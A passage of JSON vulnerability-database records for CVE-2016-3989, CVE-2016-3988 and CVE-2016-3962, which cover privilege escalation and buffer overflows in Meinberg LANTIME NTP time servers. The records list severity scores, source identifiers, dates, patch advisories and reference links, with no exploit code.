"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 8.5,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2016-3989",
"impactScore": 9.2,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 8.5,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-92808",
"impactScore": 9.2,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2016-3989",
"impactScore": 5.2,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-3989",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-3989",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201606-553",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-92808",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. \nRemote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. \nThe following products are affected :\nMeinberg IMS-LANTIME M3000 Version 6.0 and prior\nMeinberg IMS-LANTIME M1000 Version 6.0 and prior\nMeinberg IMS-LANTIME M500 Version 6.0 and prior\nMeinberg LANTIME M900 Version 6.0 and prior\nMeinberg LANTIME M600 Version 6.0 and prior\nMeinberg LANTIME M400 Version 6.0 and prior\nMeinberg LANTIME M300 Version 6.0 and prior\nMeinberg LANTIME M200 Version 6.0 and prior\nMeinberg LANTIME M100 Version 6.0 and prior\nMeinberg SyncFire 1100 Version 6.0 and prior\nMeinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. An elevation of privilege vulnerability exists in the NTP time-server interface of several Meinberg products",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-3989"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "VULHUB",
"id": "VHN-92808"
}
],
"trust": 1.98
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-92808",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2016-3989",
"trust": 2.8
},
{
"db": "ICS CERT",
"id": "ICSA-16-175-03",
"trust": 2.5
},
{
"db": "EXPLOIT-DB",
"id": "40120",
"trust": 1.1
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553",
"trust": 0.7
},
{
"db": "BID",
"id": "91400",
"trust": 0.3
},
{
"db": "VULHUB",
"id": "VHN-92808",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"id": "VAR-201607-0012",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
}
],
"trust": 0.01
},
"last_update_date": "2025-04-13T23:02:54.632000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Meinberg Security Advisory: [MBGSA-1604] WebUI and NTP",
"trust": 0.8,
"url": "https://www.meinbergglobal.com/english/news/meinberg-security-advisory-mbgsa-1604-webui-and-ntp.htm"
},
{
"title": "Multiple Meinberg Repair measures for product privilege vulnerability",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=62469"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-264",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-16-175-03"
},
{
"trust": 1.1,
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3989"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-3989"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92808"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-92808"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-07-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92808"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"date": "2016-06-24T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"date": "2016-07-03T14:59:05.523000",
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92808"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003490"
},
{
"date": "2016-07-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-553"
},
{
"date": "2025-04-12T10:46:40.837000",
"db": "NVD",
"id": "CVE-2016-3989"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Meinberg Runs on device firmware NTP Time Server Write to unspecified script in the interface root Privileged vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003490"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "permissions and access control",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-553"
}
],
"trust": 0.6
}
}
CVE-2016-3989 (GCVE-0-2016-3989)
Vulnerability from nvd – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/40120/ | exploitx_refsource_EXPLOIT-DB |
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:32.023Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3989",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "40120",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3989",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-08T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:32.023Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-3988 (GCVE-0-2016-3988)
Vulnerability from nvd – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:32.023Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2016-07-03T14:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3988",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3988",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-08T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:32.023Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-3962 (GCVE-0-2016-3962)
Vulnerability from nvd – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/40120/ | exploitx_refsource_EXPLOIT-DB |
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:31.911Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3962",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "40120",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3962",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-06T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:31.911Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-3988 (GCVE-0-2016-3988)
Vulnerability from cvelistv5 – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:32.023Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2016-07-03T14:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3988",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3988",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-08T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:32.023Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-3989 (GCVE-0-2016-3989)
Vulnerability from cvelistv5 – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/40120/ | exploitx_refsource_EXPLOIT-DB |
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:32.023Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3989",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
